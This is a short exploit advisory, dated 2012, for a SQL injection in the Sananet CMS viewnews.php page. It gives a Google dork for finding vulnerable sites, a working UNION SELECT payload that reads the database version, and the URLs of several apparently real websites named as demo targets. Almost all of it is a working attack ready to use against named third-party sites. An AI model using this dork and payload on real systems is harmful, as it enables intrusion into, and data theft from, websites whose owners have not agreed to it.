Sananet CMS SQL Injection

`# Exploit Title: sananet cms sql injection  
# Google Dork:intext :طراحي و راه اندازي از طراحان سنا نت   
inurl:viewnews.php?id=  
# Date: 08/09/2012  
# Author: Crim3R  
# Cms Creator home : http://www.sana-net.ir/  
# Version: -  
# Tested on: all  
========================================  
there is sql injection in viewnews.php   
D3M0 :  
http://maraghefair.com/viewnews.php?id=-120+union+all+select+1,@@version,3,4,5,6--  
  
http://www.takdivx.net/viewnews.php?id=101  
http://www.behtarinhamsar.com/viewnews.php?id=112  
  
[email protected]===========  
`